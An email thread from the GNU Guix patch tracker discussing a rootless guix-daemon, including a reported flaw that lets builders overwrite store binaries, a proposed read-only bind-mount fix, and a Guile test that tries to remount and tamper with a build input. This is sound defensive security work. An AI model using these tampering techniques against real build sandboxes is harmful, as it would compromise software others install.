h=MIME-Version:Date:References:In-Reply-To:Subject:To: From; bh=YDM+EJL5NRiIdzlKPrzEycEEJGbMu9+2u59HSqzLKLs=; b=EJ/eIRR6f+aXGcbQUCDO d6BOIyX+v9RlccedEoZGj2GsYTLLxi9w4MjJ+YgPxDzQ4ETvQicWWcZMIKAdkGVTr3JASJyGJ24pV VnUP2+AZ5mWSHB8yQnMe0KY4VAvaMtsmN+GOKb7Pms3dgZlf7K5Zk6UANPrisX1pFKTiKH0DIbJK8 SGMlqn1HB0eBBrVpI2fDPRE5BzkI7P4OpoC8+6lPWdcHyeZLcO4Rr1ZqyStOKkjb6meBEm1rRjXye /g+V++5dXIdymTm9HE8Ab8DNVHvMluvEyOLrbJ3l3CtdFTNwYcM0nV6o5tbfVK8mSbry5SyLGkHyZ 8JN8uLXVJBB+Yw==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> In-Reply-To: <87r04qe7dj.fsf@HIDDEN> (Reepca Russelstein's message of "Sat, 25 Jan 2025 18:39:04 -0600") References: <cover.1737738362.git.ludo@HIDDEN> <87r04qe7dj.fsf@HIDDEN> Date: Mon, 27 Jan 2025 22:31:43 +0100 Message-ID: <87bjvshrk0.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-Spam-Score: -1.8 (-) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -2.8 (--) --=-=-= Content-Type: text/plain Hello Reepca, Reepca Russelstein <reepca@HIDDEN> skribis: > user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello > GOOOOOD BYYEEEEEE This particular issue is fixed with read-only mounts: --=-=-= Content-Type: text/x-patch Content-Disposition: inline diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index c95bd2821f..e8e4a56e2d 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -2175,7 +2175,7 @@ void DerivationGoal::runChild() createDirs(dirOf(target)); writeFile(target, ""); } - if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1) + if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_RDONLY, 0) == -1) throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target); } --=-=-= Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable (I checked that it does the right thing.) The fix is trivial, but I=E2=80=99m glad you found the bug in the first pla= ce; it does stress that we have to be careful here. > I suppose we could try to perform these bind-mounts with the MS_RDONLY > flag, but we would need some way to ensure that the builder can't just > remount them read-write The example below tests that; =E2=80=98mount=E2=80=99 fails with EPERM when= using the unprivileged daemon (=E2=80=98./test-env guix build -f =E2=80=A6=E2=80=99): --8<---------------cut here---------------start------------->8--- (use-modules (guix) (guix modules) (gnu packages bootstrap)) (computed-file "try-to-remount-input-read-write" (with-imported-modules (source-module-closure '((guix build syscalls))) #~(begin (use-modules (guix build syscalls)) (let ((input #$(plain-file "input-that-might-be-tamper= ed-with" "All good!"))) (mount "none" input "none" (logior MS_BIND MS_REMOUN= T)) (call-with-output-file input (lambda (port) (display "BAD!" port))) (mkdir #$output)))) #:guile %bootstrap-guile) --8<---------------cut here---------------end--------------->8--- This is similar to: guix shell -C guile guix -- \ guile -c '(use-modules (guix build syscalls)) (mount "none" (getenv "GU= IX_ENVIRONMENT") "none" (logior MS_BIND MS_REMOUNT))' mount(2) has this: EPERM An attempt was made to modify (MS_REMOUNT) the MS_RDONLY, MS_NO= =E2=80=90 SUID, or MS_NOEXEC flag, or one of the "atime" flags (MS_NOAT= =E2=80=90 IME, MS_NODIRATIME, MS_RELATIME) of an existing mount, but the mount is locked; see mount_namespaces(7). I couldn=E2=80=99t find the definite answer in mount_namespaces(7) as to wh= ether this applies in this case (same namespace but after chroot); I can only tell empirically that it does apply. >> This patch changes guix-daemon so it can run as an unprivileged >> user, using unprivileged user namespaces to still support isolated >> builds. There=E2=80=99s a couple of cases where root is/was still neces= sary: >>=20 >> 1. To create /var/guix/profiles/per-user/$USER and chown it >> as $USER (see CVE-2019-18192). >>=20 >> 2. To chown /tmp/guix-build-* when using =E2=80=98--keep-failed=E2=80= =99. >>=20 >> Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is >> what this patch series does on distros using systemd. (For some >> reason CAP_CHOWN had to be added to the set of =E2=80=9Cambient capabili= ties=E2=80=9D, >> which are inherited by child processes; this is why there=E2=80=99s a pa= tch >> to drop ambient capabilities in build processes.) >>=20 >> On Guix System (not implemented here), we could address (1) by >> creating /var/guix/profiles/per-user/$USER upfront for all the >> user accounts. We could leave (2) unaddressed (so failed build >> directories would be owned by guix-daemon:guix-daemon) or we=E2=80=99d >> have to pass CAP_CHOWN as well. [...] > This does raise the question, though, of how these failed build > directories would get deleted, aside from rebooting the system. Note that in the early days (and in current Nix actually), build trees were not chowned. That=E2=80=99s OK: they=E2=80=99re deleted upon reboot o= r by the system administrator. Current Nix has this: --8<---------------cut here---------------start------------->8--- void DerivationGoal::deleteTmpDir(bool force) { if (tmpDir !=3D "") { /* Don't keep temporary directories for builtins because they might have privileged stuff (like a copy of netrc). */ if (settings.keepFailed && !force && !drv->isBuiltin()) { printError("note: keeping build directory '%s'", tmpDir); chmod(tmpDir.c_str(), 0755); } else deletePath(tmpDir); tmpDir =3D ""; } } --8<---------------cut here---------------end--------------->8--- We could go back to this. It=E2=80=99s less convenient, but okay. In this patch series, it attempts to chown the tree; if it fails to do so (because it lacks CAP_CHOWN), it prints a warning and keeps going. > Perhaps the garbage collector could be modified to get rid of them? > In which case it may be best to make it so that the failed build > directories are automatically added to the temp roots for a client, > and the client takes care to copy the failed build directory to a > fresh path owned by the current user? Or we could make it so that the > failed build directory gets sent over the wire in nar form to the > client. Not sure what the best approach there is. Dunno. Sending it as nar may be too heavyweight and quite a bit of work. I=E2=80=99d say it goes beyond the scope of this patch series, though. > We currently remount /gnu/store read-write at LocalStore-creation-time, > which happens in the newly-forked guix-daemon process at the start of a > connection. I don't think there's any particularly elevated risk from > instead doing that before the per-connection process is forked. There > are a number of ways we could do this: we could make it the > responsibility of the init system to create the mount namespace and do > the remounting, or we could have guix-daemon do it immediately on > startup and subsequently switch its uid and gid to > guix-daemon:guix-daemon. These lack the slick appeal of "see, you never > have to give it root, and you can prove it just by looking at the > service file", but realistically should be just as secure. It may be > useful to provide a small wrapper around guix-daemon that does the > remount and privilege-dropping, to more succinctly express this to > anybody wishing to see for themselves. I think I=E2=80=99d prefer to have a systemd (or other) service make a read-write bind-mount at /gnu/store/.rw-store, and then we=E2=80=99d run =E2=80=98guix-daemon --backing-store=3D/gnu/store/.rw-store=E2=80=99. WDYT? > There are, effectively, 3 platforms that guix currently supports: posix, > linux, and hurd. Rather two: Linux and Hurd. But note: we don=E2=80=99t use any Hurd-specif= ic features yet, and in practice all the energy and focus is on Linux (on the Hurd we run =E2=80=98guix-daemon --disable-chroot=E2=80=99 anyway). Adding the privileged/unprivileged setting, we=E2=80=99d have two configura= tions really, again setting aside the Hurd. The way I see it, if everything goes well, we=E2=80=99d default to unprivil= eged guix-daemon on Guix System as well and eventually (longer term) drop the privileged daemon. > Personally, I think that if a guix-daemon can use privilege separation > users, it would probably be a good idea to. We're certainly going to > need to support them on non-linux systems either way. Could it be > possible to have guix-install.sh modify /etc/sudoers on systems that use > it to allow the guix-daemon user to run processes under guix builder > users? I am currently less worried about arbitrary code execution > vulnerabilities being found in the daemon than about the possibility of > malicious builders (but it is possible I am underexposed to the ways > those can happen in C++). What would you put in /etc/sudoers? I=E2=80=99m not sure what you had in m= ind. Aside, I=E2=80=99d rather avoid relying on external tools like =E2=80=98sud= o=E2=80=99. > Additionally, CAP_CHOWN, while not having a direct path to privilege > escalation due to setuid and setgid bits being reset when chown is > called, can nevertheless be easily leveraged into privilege escalation > in most real-world situations where arbitrary code execution is > possible, so switching to using just that capability would realistically > only add defense in less-than-arbitrary-code-execution scenarios. I agree about CAP_CHOWN, which is why I proposed scenarios without it. Thanks a lot for your feedback! I=E2=80=99ll send a second version addressing the immediate issue you found and, if everything goes well, an attempt at restoring the /gnu/store read-only bind-mount. Ludo=E2=80=99. --=-=-=--
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon References: <cover.1737738362.git.ludo@HIDDEN> Resent-From: =?UTF-8?Q?No=C3=A9?= Lopez <noe@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Mon, 27 Jan 2025 21:52:01 +0000 Resent-Message-ID: <handler.75810.B75810.173801469019840 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Reepca Russelstein <reepca@HIDDEN>, Janneke Nieuwenhuizen <janneke@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173801469019840 (code B ref 75810); Mon, 27 Jan 2025 21:52:01 +0000 Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 21:51:30 +0000 Received: from localhost ([127.0.0.1]:34677 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tcX10-00059v-Fv for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:51:30 -0500 Received: from smtp.domeneshop.no ([2a01:5b40:0:3006::1]:48092) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <noe@HIDDEN>) id 1tcX0x-00059h-TM for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 16:51:28 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=xn--no-cja.eu; s=ds202402; h=Content-Transfer-Encoding:Content-Type: MIME-Version:Message-ID:Date:In-Reply-To:Subject:Cc:To:From:From:Sender: Reply-To:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type: Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date: Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To: References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:List-Post: List-Owner:List-Archive; bh=GgPEyd3fk1s6cfcwQ3m466y4tXWO39lJaumX+dc0l6A=; b=e BbTqvC8t+hNcMIibYGo3qvDzVtYWItsEafHZu1q8nT5iZ4BQG4YI8W3zzY+gjkI5QiUKCTkuLEKl6 bVjPp2eWdlfzRNFkwKfiuZZWbaoZG5L3VHX69vtm9Vtwlebs9OcMtenXGfC6IB67GGPzglFF3gYrw mbdJjH2fdTeJAip6XbRXvgg0CZr0XYZdUpDE4MRDsJOFOZdFBWr6zT7rIqtz2dIhXOdoNdOaoxQQT PFkYQSZFeX2F6Nme/E19PcR9RDQXR+MjgKXg9GwZKMrnj2CIEEkUzM299vJCf5b3dLKEAm8iESFAI YfvrPixHRE+uo7YtJQeWY/oXQmKFJEGvQ==; Received: from smtp by smtp.domeneshop.no with esmtpsa (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.95) id 1tcX0q-003nln-U6; Mon, 27 Jan 2025 22:51:21 +0100 From: =?UTF-8?Q?No=C3=A9?= Lopez <noe@HIDDEN> In-Reply-To: <87bjvshrk0.fsf@HIDDEN> Date: Mon, 27 Jan 2025 22:51:08 +0100 Message-ID: <87ed0ox6wj.fsf@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.0 (/) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -1.0 (-) Hi Ludovic, If the store is not read-only, is there not a risk of applications running as root modifying their own files in the store? As a possible solution, maybe it is possible to have a modifiable store directory for the daemon and a read-only bind mount as /gnu/store. If it does not have performance implications, applications would be started from /gnu/store as usual and the builder can still use the other directory. What do you think? No=C3=A9
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Mon, 27 Jan 2025 22:07:02 +0000 Resent-Message-ID: <handler.75810.B75810.173801558822652 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: =?UTF-8?Q?No=C3=A9?= Lopez <noe@HIDDEN> Cc: Reepca Russelstein <reepca@HIDDEN>, 75810 <at> debbugs.gnu.org, Janneke Nieuwenhuizen <janneke@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173801558822652 (code B ref 75810); Mon, 27 Jan 2025 22:07:02 +0000 Received: (at 75810) by debbugs.gnu.org; 27 Jan 2025 22:06:28 +0000 Received: from localhost ([127.0.0.1]:34734 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tcXFU-0005tH-7X for submit <at> debbugs.gnu.org; Mon, 27 Jan 2025 17:06:28 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:49858) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tcXFO-0005sv-T5 for 75810 <at> debbugs.gnu.org; Mon, 27 Jan 2025 17:06:26 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tcXFG-0000y9-G2; Mon, 27 Jan 2025 17:06:15 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To: From; bh=FZsZtn8hQb4MqBPsBayyvYeriMYuiItagcbZynF5vWE=; b=eL85oeL6tksyFAc/pETY ijrRKvEQ1HikFxb6M+UVdJAl+rbw6C77c6WGBFrgZ4RTd1nB7EE9cSmV4frYYVRYquvx8E0hbUtmg R1Zowr0k+AnlzSoUwYQNYOPkNljpv8FIqd1f8vYreROOpxUA/3BFv5c6wBedrQKN2DZb3wHau/Ut7 XInkboSJIk4DLL86ziS2emVZQD3CAJjLBdZgwooDQuVmqYqxWgcLWROkr/9c4LXAlkcMwjtTzjgR3 rKNysWRhEQ62Cjy3Hg4R9TdguIH3NgQlz85y67YwY2vat+/6Otw8cyWbsHlrUZeeQ9AQGiYzOjJHE ERfse9CkCPcX6A==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> In-Reply-To: <87ed0ox6wj.fsf@HIDDEN> ("=?UTF-8?Q?No=C3=A9?= Lopez"'s message of "Mon, 27 Jan 2025 22:51:08 +0100") References: <87ed0ox6wj.fsf@HIDDEN> X-URL: http://www.fdn.fr/~lcourtes/ X-Revolutionary-Date: Octidi 8 =?UTF-8?Q?Pluvi=C3=B4se?= an 233 de la =?UTF-8?Q?R=C3=A9volution,?= jour du =?UTF-8?Q?M=C3=A9z=C3=A9r=C3=A9on?= X-PGP-Key-ID: 0x090B11993D9AEBB5 X-PGP-Key: http://www.fdn.fr/~lcourtes/ludovic.asc X-PGP-Fingerprint: 3CE4 6455 8A84 FDC6 9DB4 0CFB 090B 1199 3D9A EBB5 X-OS: x86_64-pc-linux-gnu Date: Mon, 27 Jan 2025 23:05:21 +0100 Message-ID: <87r04nhpzy.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) Hi, No=C3=A9 Lopez <noe@no=C3=A9.eu> skribis: > If the store is not read-only, is there not a risk of applications > running as root modifying their own files in the store? Yes, there=E2=80=99s a risk. > As a possible solution, maybe it is possible to have a modifiable store > directory for the daemon and a read-only bind mount as /gnu/store. If > it does not have performance implications, applications would be started > from /gnu/store as usual and the builder can still use the other > directory. I agree, that=E2=80=99s what I alluded to with having /gnu/.rw-store as the backing store used by guix-daemon, while /gnu/store would be read-only. Thanks, Ludo=E2=80=99.
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon Resent-From: Reepca Russelstein <reepca@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Wed, 29 Jan 2025 07:53:01 +0000 Resent-Message-ID: <handler.75810.B75810.173813715422669 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Cc: 75810 <at> debbugs.gnu.org Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173813715422669 (code B ref 75810); Wed, 29 Jan 2025 07:53:01 +0000 Received: (at 75810) by debbugs.gnu.org; 29 Jan 2025 07:52:34 +0000 Received: from localhost ([127.0.0.1]:39782 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1td2sD-0005tW-EQ for submit <at> debbugs.gnu.org; Wed, 29 Jan 2025 02:52:34 -0500 Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:57690) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <reepca@HIDDEN>) id 1td2s9-0005tL-Nl for 75810 <at> debbugs.gnu.org; Wed, 29 Jan 2025 02:52:31 -0500 DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed; d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date: References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To: Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date: Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id: List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive; bh=gl+n7dEdqtg50yw59FPf0Baaad1/mvyEDFo+FqvjDr4=; b=5RPIHZEQvol8/XaJLDG1ZezzSz CQuOzmdZnJj5hKDmZ/QSYajJm8MkCDnC1UvYgk9oZ54zrBoXXaJm3eyuSdDg==; DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date: References:In-Reply-To:Subject:Cc:To:From:Sender:Reply-To: Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date: Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id: List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive; bh=gl+n7dEdqtg50yw59FPf0Baaad1/mvyEDFo+FqvjDr4=; b=iFnP6sZhXNQBc82w2OHN+KmdZu xCpW8GRjL6uO8AAVhO1ENsBynewtzQGWumFKxLS70hi2PkqG/h1nyw/sPF/LG7MOZhRSuenMyQaKV Pk87OARprML/g46GVLvQEhUS6OYtMijZ7b18TGgwW53+Rwk39b3c9Soi5X5482Hm2jJWV18I8GD7F 09pL6PbNZmdgMH+Ta3Hq/nppISp6VyNRftCyV8mJaJpc+LFCCAkCw99POxXE7UURFhY1xg2XzWg3r pfcfzZjSev/B8O13+e8pAUAY03kth0dPDTpmnGV8wwWFUz7Oo8IR5oVtsO26TTqucMq7yvJZ5yX5t JsnPUA8mv8aLzi/pEyHMKUsyQzqw9vIa9OWGh2mRtoOWv5MovVfVN1q6Yv+Kb3MpjWvqHzHHVPfXV wO0k7THzmk4M65D7xKhxsM/vLnpc+G4xBQ/YNIWFDeANAMVOnP75WV5OYfQE79GV65V3MQy7Lr358 y11lsRG7df8dYedyzk3Oem1+TnSUOCMu4huV9jWp8aAElAmGpq0DBOAKIPteUE6YMnNT2Szri1UC4 V/h8h/15ks4PXc1x1YNbDnh6JlpO8CaGWbdt7IebO9or2CLc9cCL71lD2r/ghUwu7tu6yDp3IZ1Yz F5wOW976RDSKcxO4HkXylhKbvkoHF58598Do1fRPo=; Received: by russelstein.xyz with esmtpsa (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim 4.98) (envelope-from <reepca@HIDDEN>) id 1td2s4-000000006WI-3kM4; Wed, 29 Jan 2025 01:52:26 -0600 From: Reepca Russelstein <reepca@HIDDEN> In-Reply-To: <87bjvshrk0.fsf@HIDDEN> ("Ludovic =?UTF-8?Q?Court=C3=A8s?="'s message of "Mon, 27 Jan 2025 22:31:43 +0100") References: <cover.1737738362.git.ludo@HIDDEN> <87r04qe7dj.fsf@HIDDEN> <87bjvshrk0.fsf@HIDDEN> Date: Wed, 29 Jan 2025 01:51:33 -0600 Message-ID: <87msfadpmi.fsf@HIDDEN> User-Agent: Gnus/5.13 (Gnus v5.13) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha256; protocol="application/pgp-signature" X-Spam-Score: 0.5 X-Spam-Bar: / X-Spam-Score-Int: 5 X-Spam-Report: Spam detection software, running on the system "Sanctum", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see the administrator of that system for details. Content preview: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> writes: > Hello Reepca, > > Reepca Russelstein <reepca@HIDDEN> skribis: > >> user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin/hello >> GOOOOOD BYYEEEEEE > > This particular [...] Content analysis details: (0.5 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- -0.0 NO_RELAYS Informational: message was not relayed via SMTP 0.5 FROM_SUSPICIOUS_NTLD From abused NTLD X-Spam-Score: 1.0 (+) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: 1.0 (+) --=-=-= Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Ludovic Court=C3=A8s <ludo@HIDDEN> writes: > Hello Reepca, > > Reepca Russelstein <reepca@HIDDEN> skribis: > >> user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/= bin/hello >> GOOOOOD BYYEEEEEE > > This particular issue is fixed with read-only mounts: > > diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc > index c95bd2821f..e8e4a56e2d 100644 > --- a/nix/libstore/build.cc > +++ b/nix/libstore/build.cc > @@ -2175,7 +2175,7 @@ void DerivationGoal::runChild() > createDirs(dirOf(target)); > writeFile(target, ""); > } > - if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0= ) =3D=3D -1) > + if (mount(source.c_str(), target.c_str(), "", MS_BIND | = MS_RDONLY, 0) =3D=3D -1) > throw SysError(format("bind mount from `%1%' to `%2%= ' failed") % source % target); > } >=20=20 > > > (I checked that it does the right thing.) > > The fix is trivial, but I=E2=80=99m glad you found the bug in the first p= lace; > it does stress that we have to be careful here. Not quite trivial, consider this section from mount(2): Creating a bind mount If mountflags includes MS_BIND (available since Linux 2.4), then p= er=E2=80=90 form a bind mount. A bind mount makes a file or a directory subt= ree visible at another point within the single directory hierarchy. B= ind mounts may cross filesystem boundaries and span chroot(2) jails. The filesystemtype and data arguments are ignored. The remaining bits (other than MS_REC, described below) in the mou= nt=E2=80=90 flags argument are also ignored. (The bind mount has the same mo= unt options as the underlying mount.) However, see the discussion of = re=E2=80=90 mounting above, for a method of making an existing bind mount re= ad- only. If you run my sneakysneaky example from before, you'll find that it still succeeds at replacing the "hello" binary because of this, even with your MS_RDONLY patch. This can be resolved by instead using MS_RDONLY with a followup mount call using MS_REMOUNT. Note also that store items that are files instead of directories (e.g. sour= ce tarballs) are hardlinked if possible. This seems to stem from an old misconception that only directories can be bind-mounted. The hardlinks, of course, do not have any write-protection on them aside from their permission bits. This can be resolved by always bind-mounting them instead. Despite the name, there is actually already support for bind-mounting non-directory files that are listed in dirsInChroot. >> I suppose we could try to perform these bind-mounts with the MS_RDONLY >> flag, but we would need some way to ensure that the builder can't just >> remount them read-write > > The example below tests that; =E2=80=98mount=E2=80=99 fails with EPERM wh= en using the > unprivileged daemon (=E2=80=98./test-env guix build -f =E2=80=A6=E2=80=99= ): > > (use-modules (guix) > (guix modules) > (gnu packages bootstrap)) > > (computed-file "try-to-remount-input-read-write" > (with-imported-modules (source-module-closure > '((guix build syscalls))) > #~(begin > (use-modules (guix build syscalls)) > > (let ((input #$(plain-file "input-that-might-be-tamp= ered-with" > "All good!"))) > (mount "none" input "none" (logior MS_BIND MS_REMO= UNT)) > (call-with-output-file input > (lambda (port) > (display "BAD!" port))) > (mkdir #$output)))) > #:guile %bootstrap-guile) > > > This is similar to: > > guix shell -C guile guix -- \ > guile -c '(use-modules (guix build syscalls)) (mount "none" (getenv "= GUIX_ENVIRONMENT") "none" (logior MS_BIND MS_REMOUNT))' > > mount(2) has this: > > EPERM An attempt was made to modify (MS_REMOUNT) the MS_RDONLY, MS_NO= =E2=80=90 > SUID, or MS_NOEXEC flag, or one of the "atime" flags (MS_NOAT= =E2=80=90 > IME, MS_NODIRATIME, MS_RELATIME) of an existing mount, but the > mount is locked; see mount_namespaces(7). > > I couldn=E2=80=99t find the definite answer in mount_namespaces(7) as to = whether > this applies in this case (same namespace but after chroot); I can only > tell empirically that it does apply. I don't think that's why we're getting EPERM. I think we're running into this, from user_namespaces(7): Note that a call to execve(2) will cause a process's capabilities to be recalculated in the usual way (see capabilities(7)). Consequently, unless the process has a user ID of 0 within the namespace, or the executable file has a nonempty inheritable capabilities mask, the process will lose all capabilities. See the discussion of user and group ID mappings, below. As the builder is in the store, it can't have any associated capability masks, and your added call to prctl to 